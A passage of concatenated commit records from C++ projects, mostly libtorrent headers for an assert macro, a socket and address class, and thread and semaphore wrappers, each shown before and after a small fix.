Container<E, A>& rhs);\n\n APPLY_ON_EQUAL_CONTAINERS(LIBPORT_CONTAINERS_DECLARE_EQUAL)\n#undef LIBPORT_CONTAINERS_DECLARE_EQUAL\n}\n\n \/*-------------------------.\n | Container << Container. |\n `-------------------------*\/\n\n#define APPLY_ON_CONTAINERS_CONTAINERS(Macro) \\\n Macro(::std::deque, ::std::deque); \\\n Macro(::std::list, ::std::list); \\\n Macro(::std::list, ::std::set); \\\n Macro(::std::set, ::std::set); \\\n Macro(::std::set, ::std::vector); \\\n Macro(::std::vector, ::std::set); \\\n Macro(::std::vector, ::std::vector);\n\n \/\/ Concatenate with '<<'.\n \/\/ Arguably concatenation should be `+='. Consider the case\n \/\/ of appending a container to a container of containers. Or use\n \/\/ an intermediate function, say 'c1 << contents(c2)'.\n#define INSERT(Cont1, Cont2) \\\n template<typename Lhs, typename Alloc1, \\\n typename Rhs, typename Alloc2> \\\n Cont1<Lhs, Alloc1>& \\\n operator<< (Cont1<Lhs, Alloc1>& c, \\\n const Cont2<Rhs, Alloc2>& vs)\n\n APPLY_ON_CONTAINERS_CONTAINERS(INSERT)\n\n#undef INSERT\n\n\n \/*--------------------.\n | ostream << vector. |\n `--------------------*\/\n\n template <typename T, typename Alloc>\n std::ostream&\n operator<< (std::ostream& out, const std::vector<T, Alloc>& c)\n {\n out << \"[\";\n typedef typename std::vector<T, Alloc>::value_type value_type;\n foreach (const value_type& v, c)\n out << v << \", \";\n out << \"]\";\n return out;\n }\n\n} \/\/ namespace std\n\n# include <libport\/containers.hxx>\n\n#endif \/\/ !LIBPORT_CONTAINERS_HH\n<|endoftext|>"} {"text":"<commit_before>\/*\n\nCopyright (c) 2007, Arvid Norberg\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions\nare met:\n\n * Redistributions of source code must retain the above copyright\n notice, this list of conditions and the following disclaimer.\n * Redistributions in binary form must reproduce the above copyright\n notice, this list of conditions and the following disclaimer in\n the documentation and\/or other materials provided with the distribution.\n * Neither the name of the author nor the names of its\n contributors may be used to endorse or promote products derived\n from this software without specific prior written permission.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\nAND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\nIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\nARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\nLIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\nCONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\nSUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\nINTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\nCONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\nARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\nPOSSIBILITY OF SUCH DAMAGE.\n\n*\/\n\n#ifndef TORRENT_ASSERT\n\n#include \"libtorrent\/config.hpp\"\n#include <string>\n\n#ifdef __GNUC__\nstd::string demangle(char const* name);\n#endif\n\n#if (defined __linux__ || defined __MACH__) && defined __GNUC__ && !defined(NDEBUG)\n\nTORRENT_EXPORT void assert_fail(const char* expr, int line, char const* file, char const* function);\n#define TORRENT_ASSERT(x) if (x) {} else assert_fail(#x, __LINE__, __FILE__, __PRETTY_FUNCTION__)\n\n#else\n#include <cassert>\n#define TORRENT_ASSERT(x) assert(x)\n#endif\n\n#endif\n\n<commit_msg>fixed warning on gcc 4.3<commit_after>\/*\n\nCopyright (c) 2007, Arvid Norberg\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions\nare met:\n\n * Redistributions of source code must retain the above copyright\n notice, this list of conditions and the following disclaimer.\n * Redistributions in binary form must reproduce the above copyright\n notice, this list of conditions and the following disclaimer in\n the documentation and\/or other materials provided with the distribution.\n * Neither the name of the author nor the names of its\n contributors may be used to endorse or promote products derived\n from this software without specific prior written permission.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\nAND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\nIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\nARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\nLIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\nCONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\nSUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\nINTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\nCONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\nARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\nPOSSIBILITY OF SUCH DAMAGE.\n\n*\/\n\n#ifndef TORRENT_ASSERT\n\n#include \"libtorrent\/config.hpp\"\n#include <string>\n\n#ifdef __GNUC__\nstd::string demangle(char const* name);\n#endif\n\n#if (defined __linux__ || defined __MACH__) && defined __GNUC__ && !defined(NDEBUG)\n\nTORRENT_EXPORT void assert_fail(const char* expr, int line, char const* file, char const* function);\n#define TORRENT_ASSERT(x) do { if (x) {} else assert_fail(#x, __LINE__, __FILE__, __PRETTY_FUNCTION__); } while (false)\n\n#else\n#include <cassert>\n#define TORRENT_ASSERT(x) assert(x)\n#endif\n\n#endif\n\n<|endoftext|>"} {"text":"<commit_before>\/*\n\nCopyright (c) 2003, Arvid Norberg\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions\nare met:\n\n * Redistributions of source code must retain the above copyright\n notice, this list of conditions and the following disclaimer.\n * Redistributions in binary form must reproduce the above copyright\n notice, this list of conditions and the following disclaimer in\n the documentation and\/or other materials provided with the distribution.\n * Neither the name of the author nor the names of its\n contributors may be used to endorse or promote products derived\n from this software without specific prior written permission.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\nAND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\nIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\nARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\nLIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\nCONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\nSUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\nINTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\nCONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\nARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\nPOSSIBILITY OF SUCH DAMAGE.\n\n*\/\n\n#ifndef TORRENT_SOCKET_WIN_HPP_INCLUDED\n#define TORRENT_SOCKET_WIN_HPP_INCLUDED\n\n\/\/ TODO: remove the dependency of\n\/\/ platform specific headers here.\n\/\/ sockaddr_in is hard to get rid of in a nice way\n\n#if defined(_WIN32)\n\t#include <winsock2.h>\n#else\n\t#include <unistd.h>\n\t#include <sys\/socket.h>\n\t#include <netinet\/in.h>\n\t#include <netdb.h>\n\t#include <errno.h>\n\t#include <pthread.h>\n\t#include <fcntl.h>\n\t#include <arpa\/inet.h>\n#endif\n\n#include <boost\/smart_ptr.hpp>\n#include <boost\/function.hpp>\n#include <boost\/noncopyable.hpp>\n\n#include <vector>\n#include <exception>\n#include <string>\n\nnamespace libtorrent\n{\n\n\tclass network_error : public std::exception\n\t{\n\tpublic:\n\t\tnetwork_error(int error_code): m_error_code(error_code) {}\n\t\tvirtual const char* what() const throw();\n\tprivate:\n\t\tint m_error_code;\n\t};\n\n\tclass socket;\n\n\tclass address\n\t{\n\tfriend class socket;\n\tpublic:\n\t\taddress();\n\t\taddress(unsigned char a, unsigned char b, unsigned char c, unsigned char d, unsigned short port);\n\t\taddress(unsigned int addr, unsigned short port);\n\t\taddress(const std::string& addr, unsigned short port);\n\t\taddress(const address& a);\n\t\t~address();\n\n\t\tstd::string as_string() const;\n\t\tunsigned int ip() const { return m_sockaddr.sin_addr.s_addr; }\n\t\tunsigned short port() const { return htons(m_sockaddr.sin_port); }\n\n\t\tbool operator<(const address& a) const { if (ip() == a.ip()) return port() < a.port(); else return ip() < a.ip(); }\n\t\tbool operator!=(const address& a) const { return (ip() != a.ip()) || port() != a.port(); }\n\t\tbool operator==(const address& a) const { return (ip() == a.ip()) && port() == a.port(); }\n\n\tprivate:\n\n\t\tsockaddr_in m_sockaddr;\n\t};\n\n\tclass socket: public boost::noncopyable\n\t{\n\tfriend class address;\n\tfriend class selector;\n\tpublic:\n\t\t\n\t\tenum type\n\t\t{\n\t\t\ttcp = 0,\n\t\t\tudp\n\t\t};\n\n\t\tsocket(type t, bool blocking = true, unsigned short receive_port = 0);\n\t\tvirtual ~socket();\n\n\t\tvoid connect(const address& addr);\n\t\tvoid close();\n\t\t\n\t\tvoid set_blocking(bool blocking);\n\t\tbool is_blocking() { return m_blocking; }\n\n\t\tconst address& sender() const { return m_sender; }\n\t\taddress name() const;\n\n\t\tvoid listen(unsigned short port, int queue);\n\t\tboost::shared_ptr<libtorrent::socket> accept();\n\n\t\ttemplate<class T> int send(const T& buffer);\n\t\ttemplate<class T> int send_to(const address& addr, const T& buffer);\n\t\ttemplate<class T> int receive(T& buf);\n\n\t\tint send(const char* buffer, int size);\n\t\tint send_to(const address& addr, const char* buffer, int size);\n\t\tint receive(char* buffer, int size);\n\n\t\tvoid set_receive_bufsize(int size);\n\t\tvoid set_send_bufsize(int size);\n\n\t\tbool is_readable() const;\n\t\tbool is_writable() const;\n\n\t\tenum error_code\n\t\t{\n\t\t\tnetdown,\n\t\t\tfault,\n\t\t\taccess,\n\t\t\taddress_in_use,\n\t\t\taddress_not_available,\n\t\t\tin_progress,\n\t\t\tinterrupted,\n\t\t\tinvalid,\n\t\t\tnet_reset,\n\t\t\tnot_connected,\n\t\t\tno_buffers,\n\t\t\toperation_not_supported,\n\t\t\tnot_socket,\n\t\t\tshutdown,\n\t\t\twould_block,\n\t\t\tconnection_reset,\n\t\t\ttimed_out,\n\t\t\tconnection_aborted,\n\t\t\tmessage_size,\n\t\t\tnot_ready,\n\t\t\tno_support,\n\t\t\tconnection_refused,\n\t\t\tis_connected,\n\t\t\tnet_unreachable,\n\t\t\tnot_initialized,\n\t\t\tunknown_error\n\t\t};\n\n\t\terror_code last_error() const;\n\n\tprivate:\n\n\t\tsocket(int sock, const address& sender);\n\n\t\tint m_socket;\n\t\taddress m_sender;\n\t\tbool m_blocking;\n\n#ifndef NDEBUG\n\t\tbool m_connected; \/\/ indicates that this socket has been connected\n\t\ttype m_type;\n#endif\n\n\t};\n\n\ttemplate<class T>\n\tinline int socket::send(const T& buf)\n\t{\n\t\treturn send(reinterpret_cast<const char*>(&buf), sizeof(buf));\n\t}\n\n\ttemplate<class T>\n\tinline int socket::send_to(const address& addr, const T& buf)\n\t{\n\t\treturn send_to(addr, reinterpret_cast<const unsigned char*>(&buf), sizeof(buf));\n\t}\n\n\ttemplate<class T>\n\tinline int socket::receive(T& buf)\n\t{\n\t\treturn receive(reinterpret_cast<char*>(&buf), sizeof(T));\n\t}\n\n\n\t\/\/ timeout is given in microseconds\n\t\/\/ modified is cleared and filled with the sockets that is ready for reading or writing\n\t\/\/ or have had an error\n\n\t\n\n\n\tclass selector\n\t{\n\tpublic:\n\n\t\tvoid monitor_readability(boost::shared_ptr<socket> s) { m_readable.push_back(s); }\n\t\tvoid monitor_writability(boost::shared_ptr<socket> s) { m_writable.push_back(s); }\n\t\tvoid monitor_errors(boost::shared_ptr<socket> s) { m_error.push_back(s); }\n\/*\n\t\tvoid clear_readable() { m_readable.clear(); }\n\t\tvoid clear_writable() { m_writable.clear(); }\n*\/\n\t\tvoid remove(boost::shared_ptr<socket> s);\n\n\t\tvoid remove_writable(boost::shared_ptr<socket> s)\n\t\t{ m_writable.erase(std::find(m_writable.begin(), m_writable.end(), s)); }\n\n\t\tbool is_writability_monitored(boost::shared_ptr<socket> s)\n\t\t{\n\t\t\treturn std::find(m_writable.begin(), m_writable.end(), s)\n\t\t\t\t!= m_writable.end();\n\t\t}\n\n\t\tvoid wait(int timeout\n\t\t\t, std::vector<boost::shared_ptr<socket> >& readable\n\t\t\t, std::vector<boost::shared_ptr<socket> >& writable\n\t\t\t, std::vector<boost::shared_ptr<socket> >& error);\n\n\t\tint count_read_monitors() const { return m_readable.size(); }\n\n\tprivate:\n\n\t\tstd::vector<boost::shared_ptr<socket> > m_readable;\n\t\tstd::vector<boost::shared_ptr<socket> > m_writable;\n\t\tstd::vector<boost::shared_ptr<socket> > m_error;\n\t};\n\n}\n\n#endif \/\/ TORRENT_SOCKET_WIN_HPP_INCLUDED\n<commit_msg>Made the socket.hpp platform independent<commit_after>\/*\n\nCopyright (c) 2003, Arvid Norberg\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions\nare met:\n\n * Redistributions of source code must retain the above copyright\n notice, this list of conditions and the following disclaimer.\n * Redistributions in binary form must reproduce the above copyright\n notice, this list of conditions and the following disclaimer in\n the documentation and\/or other materials provided with the distribution.\n * Neither the name of the author nor the names of its\n contributors may be used to endorse or promote products derived\n from this software without specific prior written permission.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\nAND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\nIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\nARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\nLIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\nCONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\nSUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\nINTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\nCONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\nARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\nPOSSIBILITY OF SUCH DAMAGE.\n\n*\/\n\n#ifndef TORRENT_SOCKET_HPP_INCLUDED\n#define TORRENT_SOCKET_HPP_INCLUDED\n\n\/\/ TODO: remove the dependency of\n\/\/ platform specific headers here.\n\/\/ sockaddr_in is hard to get rid of in a nice way\n\n#if defined(_WIN32)\n\t#include <winsock2.h>\n#else\n\t#include <unistd.h>\n\t#include <sys\/socket.h>\n\t#include <netinet\/in.h>\n\t#include <netdb.h>\n\t#include <errno.h>\n\t#include <pthread.h>\n\t#include <fcntl.h>\n\t#include <arpa\/inet.h>\n#endif\n\n#include <boost\/smart_ptr.hpp>\n#include <boost\/function.hpp>\n#include <boost\/noncopyable.hpp>\n\n#include <vector>\n#include <exception>\n#include <string>\n\nnamespace libtorrent\n{\n\n\tclass network_error : public std::exception\n\t{\n\tpublic:\n\t\tnetwork_error(int error_code): m_error_code(error_code) {}\n\t\tvirtual const char* what() const throw();\n\tprivate:\n\t\tint m_error_code;\n\t};\n\n\tclass socket;\n\n\tclass address\n\t{\n\tfriend class socket;\n\tpublic:\n\t\taddress();\n\t\taddress(\n\t\t\tunsigned char a\n\t\t\t, unsigned char b\n\t\t\t, unsigned char c\n\t\t\t, unsigned char d\n\t\t\t, unsigned short port);\n\t\t\n\t\taddress(unsigned int addr, unsigned short port);\n\n\t\taddress(const std::string& addr, unsigned short port);\n\t\taddress(const address& a);\n\t\t~address();\n\n\t\tstd::string as_string() const;\n\t\tunsigned int ip() const { return m_ip; }\n\t\tunsigned short port() const { return m_port; }\n\n\t\tbool operator<(const address& a) const\n\t\t{ if (ip() == a.ip()) return port() < a.port(); else return ip() < a.ip(); }\n\t\tbool operator!=(const address& a) const\n\t\t{ return (ip() != a.ip()) || port() != a.port(); }\n\t\tbool operator==(const address& a) const\n\t\t{ return (ip() == a.ip()) && port() == a.port(); }\n\n\tprivate:\n\n\t\tunsigned int m_ip;\n\t\tunsigned short m_port;\n\t};\n\n\tclass socket: public boost::noncopyable\n\t{\n\tfriend class address;\n\tfriend class selector;\n\tpublic:\n\t\t\n\t\tenum type\n\t\t{\n\t\t\ttcp = 0,\n\t\t\tudp\n\t\t};\n\n\t\tsocket(type t, bool blocking = true, unsigned short receive_port = 0);\n\t\tvirtual ~socket();\n\n\t\tvoid connect(const address& addr);\n\t\tvoid close();\n\t\t\n\t\tvoid set_blocking(bool blocking);\n\t\tbool is_blocking() { return m_blocking; }\n\n\t\tconst address& sender() const { return m_sender; }\n\t\taddress name() const;\n\n\t\tvoid listen(unsigned short port, int queue);\n\t\tboost::shared_ptr<libtorrent::socket> accept();\n\n\t\ttemplate<class T> int send(const T& buffer);\n\t\ttemplate<class T> int send_to(const address& addr, const T& buffer);\n\t\ttemplate<class T> int receive(T& buf);\n\n\t\tint send(const char* buffer, int size);\n\t\tint send_to(const address& addr, const char* buffer, int size);\n\t\tint receive(char* buffer, int size);\n\n\t\tvoid set_receive_bufsize(int size);\n\t\tvoid set_send_bufsize(int size);\n\n\t\tbool is_readable() const;\n\t\tbool is_writable() const;\n\n\t\tenum error_code\n\t\t{\n\t\t\tnetdown,\n\t\t\tfault,\n\t\t\taccess,\n\t\t\taddress_in_use,\n\t\t\taddress_not_available,\n\t\t\tin_progress,\n\t\t\tinterrupted,\n\t\t\tinvalid,\n\t\t\tnet_reset,\n\t\t\tnot_connected,\n\t\t\tno_buffers,\n\t\t\toperation_not_supported,\n\t\t\tnot_socket,\n\t\t\tshutdown,\n\t\t\twould_block,\n\t\t\tconnection_reset,\n\t\t\ttimed_out,\n\t\t\tconnection_aborted,\n\t\t\tmessage_size,\n\t\t\tnot_ready,\n\t\t\tno_support,\n\t\t\tconnection_refused,\n\t\t\tis_connected,\n\t\t\tnet_unreachable,\n\t\t\tnot_initialized,\n\t\t\tunknown_error\n\t\t};\n\n\t\terror_code last_error() const;\n\n\tprivate:\n\n\t\tsocket(int sock, const address& sender);\n\n\t\tint m_socket;\n\t\taddress m_sender;\n\t\tbool m_blocking;\n\n#ifndef NDEBUG\n\t\tbool m_connected; \/\/ indicates that this socket has been connected\n\t\ttype m_type;\n#endif\n\n\t};\n\n\ttemplate<class T>\n\tinline int socket::send(const T& buf)\n\t{\n\t\treturn send(reinterpret_cast<const char*>(&buf), sizeof(buf));\n\t}\n\n\ttemplate<class T>\n\tinline int socket::send_to(const address& addr, const T& buf)\n\t{\n\t\treturn send_to(addr, reinterpret_cast<const unsigned char*>(&buf), sizeof(buf));\n\t}\n\n\ttemplate<class T>\n\tinline int socket::receive(T& buf)\n\t{\n\t\treturn receive(reinterpret_cast<char*>(&buf), sizeof(T));\n\t}\n\n\n\t\/\/ timeout is given in microseconds\n\t\/\/ modified is cleared and filled with the sockets that is ready for reading or writing\n\t\/\/ or have had an error\n\n\t\n\n\n\tclass selector\n\t{\n\tpublic:\n\n\t\tvoid monitor_readability(boost::shared_ptr<socket> s) { m_readable.push_back(s); }\n\t\tvoid monitor_writability(boost::shared_ptr<socket> s) { m_writable.push_back(s); }\n\t\tvoid monitor_errors(boost::shared_ptr<socket> s) { m_error.push_back(s); }\n\/*\n\t\tvoid clear_readable() { m_readable.clear(); }\n\t\tvoid clear_writable() { m_writable.clear(); }\n*\/\n\t\tvoid remove(boost::shared_ptr<socket> s);\n\n\t\tvoid remove_writable(boost::shared_ptr<socket> s)\n\t\t{ m_writable.erase(std::find(m_writable.begin(), m_writable.end(), s)); }\n\n\t\tbool is_writability_monitored(boost::shared_ptr<socket> s)\n\t\t{\n\t\t\treturn std::find(m_writable.begin(), m_writable.end(), s)\n\t\t\t\t!= m_writable.end();\n\t\t}\n\n\t\tvoid wait(int timeout\n\t\t\t, std::vector<boost::shared_ptr<socket> >& readable\n\t\t\t, std::vector<boost::shared_ptr<socket> >& writable\n\t\t\t, std::vector<boost::shared_ptr<socket> >& error);\n\n\t\tint count_read_monitors() const { return m_readable.size(); }\n\n\tprivate:\n\n\t\tstd::vector<boost::shared_ptr<socket> > m_readable;\n\t\tstd::vector<boost::shared_ptr<socket> > m_writable;\n\t\tstd::vector<boost::shared_ptr<socket> > m_error;\n\t};\n\n}\n\n#endif \/\/ TORRENT_SOCKET_WIN_INCLUDED\n\n<|endoftext|>"} {"text":"<commit_before>\/*\n\nCopyright (c) 2009, Arvid Norberg\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions\nare met:\n\n * Redistributions of source code must retain the above copyright\n notice, this list of conditions and the following disclaimer.\n * Redistributions in binary form must reproduce the above copyright\n notice, this list of conditions and the following disclaimer in\n the documentation and\/or other materials provided with the distribution.\n * Neither the name of the author nor the names of its\n contributors may be used to endorse or promote products derived\n from this software without specific prior written permission.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\nAND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\nIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\nARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\nLIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\nCONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\nSUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\nINTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\nCONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\nARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\nPOSSIBILITY OF SUCH DAMAGE.\n\n*\/\n\n#ifndef TORRENT_THREAD_HPP_INCLUDED\n#define TORRENT_THREAD_HPP_INCLUDED\n\n#include \"libtorrent\/config.hpp\"\n\n#include <memory>\n\n#if defined TORRENT_WINDOWS || defined TORRENT_CYGWIN\n\/\/ asio assumes that the windows error codes are defined already\n#include <winsock2.h>\n#endif\n\n#include <memory> \/\/ for auto_ptr required by asio\n\n#include <boost\/asio\/detail\/thread.hpp>\n#include <boost\/asio\/detail\/mutex.hpp>\n#include <boost\/asio\/detail\/event.hpp>\n\n#if TORRENT_USE_POSIX_SEMAPHORE\n#include <semaphore.h> \/\/ sem_*\n#endif\n\n#if TORRENT_USE_MACH_SEMAPHORE\n#include <mach\/semaphore.h> \/\/ semaphore_signal, semaphore_wait\n#include <mach\/task.h> \/\/ semaphore_create, semaphore_destroy\n#include <mach\/mach_init.h> \/\/ current_task\n#endif\n\nnamespace libtorrent\n{\n\ttypedef boost::asio::detail::thread thread;\n\ttypedef boost::asio::detail::mutex mutex;\n\ttypedef boost::asio::detail::event event;\n\n\tTORRENT_EXPORT void sleep(int milliseconds);\n\n\tstruct TORRENT_EXPORT condition\n\t{\n\t\tcondition();\n\t\t~condition();\n\t\tvoid wait(mutex::scoped_lock& l);\n\t\tvoid signal_all(mutex::scoped_lock& l);\n\tprivate:\n#ifdef BOOST_HAS_PTHREADS\n\t\tpthread_cond_t m_cond;\n#elif defined TORRENT_WINDOWS || defined TORRENT_CYGWIN\n\t\tHANDLE m_sem;\n\t\tmutex m_mutex;\n\t\tint m_num_waiters;\n#else\n#error not implemented\n#endif\n\t};\n\n\t\/\/ #error these semaphores needs to release all threads that are waiting for the semaphore when signalled\n#if TORRENT_USE_POSIX_SEMAPHORE\n\tstruct TORRENT_EXPORT semaphore\n\t{\n\t\tsemaphore() { sem_init(&m_sem, 0, 0); }\n\t\t~semaphore() { sem_destroy(&m_sem); }\n\t\tvoid signal() { sem_post(&m_sem); }\n\t\tvoid signal_all()\n\t\t{\n\t\t\tint waiters = 0;\n\t\t\tdo\n\t\t\t{\n\t\t\t\t\/\/ when anyone is waiting, waiters will be\n\t\t\t\t\/\/ 0 or negative. 0 means one might be waiting\n\t\t\t\t\/\/ -1 means 2 are waiting. Keep posting as long\n\t\t\t\t\/\/ we see negative values or 0\n\t\t\t\tsem_getvalue(&m_sem, &waiters);\n\t\t\t\tsem_post(&m_sem);\n\t\t\t} while (waiters < 0)\n\t\t}\n\t\tvoid wait() { sem_wait(&m_sem); }\n\t\tvoid timed_wait(int ms)\n\t\t{\n\t\t\ttimespec sp = { ms \/ 1000, (ms % 1000) * 1000000 };\n\t\t\tsem_timedwait(&m_sem, &sp);\n\t\t}\n\t\tsem_t m_sem;\n\t};\n#elif TORRENT_USE_MACH_SEMAPHORE\n\tstruct TORRENT_EXPORT semaphore\n\t{\n\t\tsemaphore() { semaphore_create(current_task(), &m_sem, SYNC_POLICY_FIFO, 0); }\n\t\t~semaphore() { semaphore_destroy(current_task(), m_sem); }\n\t\tvoid signal() { semaphore_signal(m_sem); }\n\t\tvoid signal_all() { semaphore_signal_all(m_sem); }\n\t\tvoid wait() { semaphore_wait(m_sem); }\n\t\tvoid timed_wait(int ms)\n\t\t{\n\t\t\tmach_timespec_t sp = { ms \/ 1000, (ms % 1000) * 100000};\n\t\t\tsemaphore_timedwait(m_sem, sp);\n\t\t}\n\t\tsemaphore_t m_sem;\n\t};\n#elif defined TORRENT_WINDOWS\n\tstruct TORRENT_EXPORT semaphore\n\t{\n\t\tsemaphore() { m_sem = CreateSemaphore(0, 0, 100, 0); }\n\t\t~semaphore() { CloseHandle(m_sem); }\n\t\tvoid signal() { ReleaseSemaphore(m_sem, 1, 0); }\n\t\tvoid signal_all()\n\t\t{\n\t\t\tLONG prev = 0;\n\t\t\tdo { ReleaseSemaphore(m_sem, 1, &prev); } while (prev > 1);\n\t\t}\n\t\tvoid wait() { WaitForSingleObject(m_sem, INFINITE); }\n\t\tvoid timed_wait(int ms) { WaitForSingleObject(m_sem, ms); }\n\t\tHANDLE m_sem;\n\t};\n#endif\n}\n\n#endif\n\n<commit_msg>fixed typo<commit_after>\/*\n\nCopyright (c) 2009, Arvid Norberg\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions\nare met:\n\n * Redistributions of source code must retain the above copyright\n notice, this list of conditions and the following disclaimer.\n * Redistributions in binary form must reproduce the above copyright\n notice, this list of conditions and the following disclaimer in\n the documentation and\/or other materials provided with the distribution.\n * Neither the name of the author nor the names of its\n contributors may be used to endorse or promote products derived\n from this software without specific prior written permission.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\nAND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\nIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\nARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\nLIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\nCONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\nSUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\nINTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\nCONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\nARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\nPOSSIBILITY OF SUCH DAMAGE.\n\n*\/\n\n#ifndef TORRENT_THREAD_HPP_INCLUDED\n#define TORRENT_THREAD_HPP_INCLUDED\n\n#include \"libtorrent\/config.hpp\"\n\n#include <memory>\n\n#if defined TORRENT_WINDOWS || defined TORRENT_CYGWIN\n\/\/ asio assumes that the windows error codes are defined already\n#include <winsock2.h>\n#endif\n\n#include <memory> \/\/ for auto_ptr required by asio\n\n#include <boost\/asio\/detail\/thread.hpp>\n#include <boost\/asio\/detail\/mutex.hpp>\n#include <boost\/asio\/detail\/event.hpp>\n\n#if TORRENT_USE_POSIX_SEMAPHORE\n#include <semaphore.h> \/\/ sem_*\n#endif\n\n#if TORRENT_USE_MACH_SEMAPHORE\n#include <mach\/semaphore.h> \/\/ semaphore_signal, semaphore_wait\n#include <mach\/task.h> \/\/ semaphore_create, semaphore_destroy\n#include <mach\/mach_init.h> \/\/ current_task\n#endif\n\nnamespace libtorrent\n{\n\ttypedef boost::asio::detail::thread thread;\n\ttypedef boost::asio::detail::mutex mutex;\n\ttypedef boost::asio::detail::event 